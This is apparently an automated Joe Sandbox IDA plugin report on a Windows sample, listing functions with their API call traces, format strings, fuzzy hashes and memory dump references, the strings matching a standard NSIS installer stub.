Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00013600,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNEL32(00960E28), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

